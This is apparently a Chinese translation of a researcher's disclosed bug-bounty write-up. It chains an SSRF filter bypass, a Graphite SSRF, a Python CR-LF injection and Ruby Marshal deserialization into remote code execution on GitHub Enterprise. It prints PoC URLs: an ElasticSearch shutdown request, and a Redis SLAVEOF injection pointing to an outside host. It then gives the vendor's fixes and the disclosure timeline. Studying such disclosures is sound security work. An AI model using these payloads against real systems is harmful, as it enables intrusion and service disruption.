當前位置:
首頁 > 新聞 > 挖洞經驗 | 看我如何綜合利用4個漏洞實現GitHub Enterprise 遠程代碼執行

挖洞經驗 | 看我如何綜合利用4個漏洞實現GitHub Enterprise 遠程代碼執行


大家好,距離上次漏洞披露已有半年之餘,在這篇文章中,我將向大家展示如何通過4個漏洞完美實現GitHub Enterprise的RCE執行,該RCE實現方法與伺服器端請求偽造技術(SSRF)相關,技術稍顯過時但綜合利用威力強大。最終,該RCE漏洞被GitHub官方認定為3周年眾測項目的最佳漏洞,我也因此獲得了$12500美元賞金。


在我今年受邀參加的BlackHat大會演講PPT中,有更多關於SSRF技術的深度剖析,請大家捧場觀看《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages》<點擊文末的閱讀原文查看>!這也是我第一次在這般高大上場合的英文演講,非常難忘!下面我們言歸正傳,一起來說說這個GitHub Enterprise企業版RCE漏洞的實現方法:


說明


在我上一次對GitHub Enterprise SQL注入漏洞的發現中,曾提及利用Ruby代碼破解GitHub混淆保護機制和發現SQL注入漏洞的方法,之後,就有一些優秀的漏洞挖掘者及時關注GitHub Enterprise並發現了多個上等漏洞,如:


The road to your codebase is paved with forged assertions by ilektrojohn


GitHub Enterprise Remote Code Execution by iblue


我表示後悔沮喪,為什麼我就發現不了呢!?所以,接下來我打算努力去挖掘那些別人想像不到的高危漏洞。


挖洞開始


第1個漏洞 - 表面無用的SSRF漏洞


在研究GitHub Enterprise程序時,我發現了一個名為WebHook的有趣功能,它能在某些特定GIT命令執行時自定義HTTP回調。如你可定義如下回調URL:


https://///settings/hooks/new


並通過提交文件觸發執行它,對此,GitHub Enterprise會利用一個HTTP請求提示你。實際的Payload和執行請求如下:


Payload URL:



http://orange.tw/foo.php


回調請求(Callback Request):

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...

另外,由於GitHub Enterprise使用Ruby Gem的

faraday庫

來獲取外部資源,並通過Gem的faraday-restrict-ip-addresses功能來防止用戶請求內部服務。這個Gem功能就像一個黑名單機制,但我們可以通過RFC 3986定義的稀有IP地址格式(Rare IP Address Formats)來繞過它,想想,在Linux系統中,0代表的是localhost,所以有以下PoC:



http://0/


OK,現在我們的一個SSRF漏洞成型了,但卻發揮不了作用,為什麼呢?這是因為該SSRF漏洞存在以下幾方面限制:



只支持POST方法


只允許HTTP和HTTPS方式


不產生302重定向


faraday中不存在CR-LF命令注入


無法對POST數據和HTTP頭信息進行控制


我們唯一能控制的就是其中的Path(路徑)部分。但值得一提的是,該SSRF漏洞可導致拒絕服務攻擊(DoS)。


由於GitHub Enterprise的9200埠為綁定了一個ElasticSearch搜索服務,當使用關機命令時,該ElasticSearch服務不會對POST數據進行檢查,因此,我們可隨意對它的REST-ful API介面進行操作,可有如下DoS的PoC:


http://0:9200/_shutdown/


第2個漏洞 - 內部Graphite服務的SSRF


第1個SSRF漏洞利用存在諸多限制,所以我繼續測試其內部服務看是否能為我所用。這還真是個大工程,因為其中包含了數種HTTP服務,每種服務都由C、C++、Go、Python和Ruby分別實現。在經過數天的研究之後,我發現其中一個8000埠名為Graphite的服務,該服務負責高度擴展地向用戶實時顯示系統當前狀態,其為Python編寫的開源項目(可點此下載源碼)。


在對Graphite源碼的分析後,我又快速發現了另外一個SSRF漏洞,它存在於以下文件



webapps/graphite/composer/views.py

def send_email(request):
   try:
       recipients = request.GET["to"].split(",")
       url = request.GET["url"]
       proto, server, path, query, frag = urlsplit(url)
       if query: path += "?" + query
       conn = HTTPConnection(server)
       conn.request("GET",path)
       resp = conn.getresponse()
       ...

從上述代碼可以看到,Graphite服務會接收用戶輸入的url地址然後對該地址進行獲取利用!所以,這樣的話,我們就可以利用第1個SSRF漏洞來觸發這第2個SSRF漏洞,最後還可將這兩個漏洞組合成一個SSRF執行鏈。合成的SSRF執行鏈Payload如下:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

第二個SSRF漏洞的請求:

$ nc -vvlp 12345
...
GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK,現在我們已經成功地將基於POST的SSRF漏洞改造成了基於GET的SSRF漏洞了。但仍然不能直接實現有效的漏洞利用,再挖挖看!

第3個漏洞 - Python語言的CR-LF命令注入


可以從Graphite源碼中看到,Graphite使用Python的httplib.HTTPConnection方法來獲取外部資源。在經過一些研究測試後,我發現httplib.HTTPConnection方法中竟存在一個CR-LF命令注入漏洞!這樣的話,我們就可以在HTTP協議中嵌入惡意Payload了。


CR-LF注入PoC:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo
:

$ nc -vvlp 12345
...
GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

該注入漏洞在整個漏洞利用鏈中發揮的作用非常關鍵。現在,我就可以在這個SSRF漏洞執行鏈中引入其他協議了,比如,如果想拿Redis下手,可以嘗試使用下列Payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

說明:由於Redis的SLAVEOF命令可以允許執行帶外數據,所以,這對某些Blind-SSRF實現非常有效。


現在漏洞利用思路已經柳暗花明,但一些可引入協議還存在問題,如:



SSH、MySQL和SSL協議會失效


由於Python2版本原因,第2個SSRF漏洞所使用的Payload只允許0x00到0x8F的位元組數據通過


順便提下,還有很多利用HTTP引入協議的利用方法,如基於Linux Glibc功能的SSL SNI引入協議,以及CVE-2016-5699的Python標註頭注入等,具體參看我的BlackHat演講PPT。

第4個漏洞 - 封裝模塊存在反序列化漏洞


現在的問題是,我該選擇哪個協議進行引入呢?另外,我還花費了大把時間來測試控制Redis或Memcached之後可以觸發的漏洞。


在對大量源碼的分析過程中,我對GitHub在Memcached中存儲Ruby對象的機制覺得好奇,一番研究後發現,GitHub Enterprise使用Ruby Gem的Memcached方式來處理緩存,而其通過Marshal模塊進行封裝。這下好了,大家知道Marshal模塊本來就不安全且存在反序列化漏洞(點此參考)。更上一層樓了!我們可以使用前述的SSRF漏洞執行鏈來把惡意Ruby對象存儲在Memcached中,當GitHub要獲取緩存時,Ruby Gem memcached就會自動執行反序列化操作,這種效果就會是:哇,遠程代碼執行!


GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:



回過頭來,我們總結梳理一下整個漏洞利用過程:



第1個SSRF漏洞,用來繞過WebHook的保護機制


第2個SSRF漏洞,存在於Graphite服務中


結合第1個和第2個SSRF漏洞,組成SSRF漏洞執行鏈


發現SSRF執行鏈中的CR-LF命令注入漏洞

利用Memcached方式的Marshal反序列化漏洞,注入惡意Marshal對象


觸發遠程代碼執行


最終PoC如下:



視頻演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html


Exploit代碼



修復措施


GitHub採取了以下修復措施:


增強了Gem的faraday-restrict-ip-addresses功能


採用了自定義Django中間件來防止攻擊者從外部訪問http://127.0.0.1:8000/render/


加強iptables規則,限制User-Agent: GitHub-Hookshot訪問模式


漏洞報送進程


2017年01月23日23:22    通過HackerOne平台將漏洞上報GitHub


2017年01月23日23:37    GitHub進行漏洞分類


2017年01月24日04:43    GitHub確認漏洞,並回應正在修復


2017年01月31日14:01    更新版本的GitHub Enterprise 2.8.7發布


2017年02月01日01:02    GitHub回復稱漏洞成功修復

2017年02月01日01:02    收到GitHub獎勵的$7500刀漏洞賞金


2017年03月15日02:38    GitHub認定該漏洞為年度最佳漏洞,並再次向我獎勵了$5000刀


*參考來源:orange.tw,freebuf小編clouds編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

利用USB橡皮鴨在目標機器上啟動Empire或Meterpreter會話
「震網三代」(CVE-2017-8464)的幾種利用方法與防範
全球國家「破壞性網路攻擊」 30 年 | Cybereason情報組報告
Skype-Type:一款通過聲音竊取鍵盤記錄的Keylogger工具
賽門鐵克即將出售SSL業務:與谷歌的爭端所致?

TAG:FreeBuf |

您可能感興趣

ElectronJs遠程代碼執行漏洞
Apache Struts遠程代碼執行漏洞分析
Microsoft Exchange Server遠程代碼執行漏洞-高危
ManageEngine Applications Manager 遠程代碼執行漏洞
Cisco WebEx遠程代碼執行漏洞
看我如何發現微軟Microsoft Translator Hub服務高危漏洞
Oracle WebLogic Server反序列化遠程代碼執行漏洞成焦點
Microsoft Office 遠程代碼執行漏洞
Adobe Flash Player發布更新解決遠程代碼執行漏洞
漏洞交易公司Zerodium披露:NoScript漏洞允許在Tor中執行代碼
Optiemus的BlackBerry Ghost Pro出現在新漏洞中
Gradle Plugin Portal:結合點擊劫持和CSRF漏洞實現帳戶接管
Twitter再現Windows 0 day漏洞
Zero Day Initiative披露了Windows JET資料庫0Day漏洞
Springboot之actuator配置不當的漏洞利用
Proofpoint:新的Office文檔漏洞利用工具包ThreadKit已被發現
Mirai和Gafgyt新變種利用Struts和SonicWall漏洞攻擊企業
Microsoft Exchange Server 內存破壞漏洞
實測:Meltdown漏洞對AWS、Azure和DigitalOcean的不同影響
Adobe Acrobat與Reader發布更新修復關鍵漏洞